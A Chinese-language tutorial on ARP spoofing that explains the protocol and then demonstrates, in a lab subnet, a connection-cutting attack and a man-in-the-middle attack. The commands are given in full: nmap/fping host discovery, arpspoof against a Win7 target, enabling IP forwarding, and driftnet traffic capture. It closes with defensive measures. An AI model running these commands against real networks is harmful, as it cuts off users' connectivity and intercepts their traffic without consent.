0x00:ARP协议
在局域网中,网络中实际传输的是“帧
”,帧里面是有目标主机的MAC地址的。在以太网中,一个主机要和另一个主机进行直接通信,必须要知道目标主机的MAC地址。MAC地址就是ARP协议
获得的。其实就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。所以说从某种意义上讲ARP协议是工作在更低于IP协议的协议层。这也是为什么ARP欺骗更能够让人在神不知鬼不觉的情况下出现网络故障,危害会很隐蔽。
0x01:ARP欺骗原理
ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC
条目,造成网络中断或中间人攻击。
当局域网中一台机器,反复向其他机器,特别是向网关,发送这样无效假冒的ARP应答信息包时,严重的网络堵塞就会开始。由于网关MAC地址错误,所以从网络中计算机发来的数据无法正常发到网关,自然无法正常上网。这就造成了无法访问外网的问题,由于很多时候网关还控制着我们的局域网LAN上网,所以这时我们的LAN访问也就出现问题了。
0x02:断网攻击
可以使用nmap命令寻找存活主机
nmap -sP 192.168.186.*
也可以使用fping探测一下
fping -asg 192.168.186.0/24
使用命令查看一下当前的网关
cat /etc/resolv.conf
查看当前win7的IP地址,确实是存在131的IP
在攻击前可以先看一下目标机的ARP缓存
ping一下百度的域名
可以ping通百度,说明目标主机的网络环境没有问题。
下面开始断网攻击,使用arpspoof
工具,工具使用方法:
arpspoof -i 网卡 -t 目标IP 网关
如果下载了但还是没有这个arpspoof
命令,就说明没有加入到环境变量中,修改一下就好了
export PATH="/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin"
Linux修改环境变量
开启断网攻击
arpspoof -i eth0 -t 192.168.186.131 192.168.186.2
观察目标主机,已经ping不通百度
停止攻击,再次查看
说明断网攻击已经成功
0x03:ARP欺骗(不断网)
ARP欺骗攻击是冒充网关向目标主机发送假的ARP数据包。
攻击流程
- 获取目标主机的流量
- 获取流量之后进行转发
相当于一个中间人,可以在中途拦截一下流量,这样所有的流量都会被监控,
开启IP转发功能
cat /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/ip_forward(转发)
#echo 代表写入
这样可以实现流量转发,而不是截断流量
如果要截断流量,写入0即可
#截断流量
echo 0 >/proc/sys/net/ipv4/ip_forward(断网)
欺骗攻击
arpspoof -i eth0 -t 192.168.186.2 192.168.186.131
#网关在前,IP在后
接下来打开另一个终端,使用一下
driftnet -i eth0
经过测试,只能捕捉目标主机在浏览HTTP网站的时候可以拦截流量,访问HTTPS则不行。
这里稍微补充一下HTTP和HTTPS
- HTTP是一种发布和接收 HTML 页面的方法,被用于在 Web 浏览器和网站服务器之间传递信息。
- HTTP 协议以明文方式发送内容,不提供任何方式的数据加密,如果攻击者截取了Web浏览器和网站服务器之间的传输报文,就可以直接读懂其中的信息。
- HTTPS 经由 HTTP 进行通信,但利用 SSL/TLS 来加密数据包。HTTPS 开发的主要目的,是提供对网站服务器的身份认证,保护交换数据的隐私与完整性。
- HTTPS(SSL+HTTP) 数据传输过程是加密的,安全性较好。
0x03:如何进行防御
- ARP 高速缓存超时设置
在ARP高速缓存中的表项一般都要设置超时值,缩短这个这个超时值能够有用的避免ARP表的溢出。
- 静态ARP缓存表
每台主机都有一个暂时寄存IP-MAC的对应表ARP攻击就经过更改这个缓存来到达诈骗的意图,运用静态的ARP来绑定正确的MAC是一个有用的办法,在命令行下运用arp -a能够检查当时的ARP缓存表。
- 自动查询
在某个正常的时间,做一个IP和MAC对应的数据库,以后定时检查当时的IP和MAC对应联系是否正常,定时检查交流机的流量列表,检查丢包率。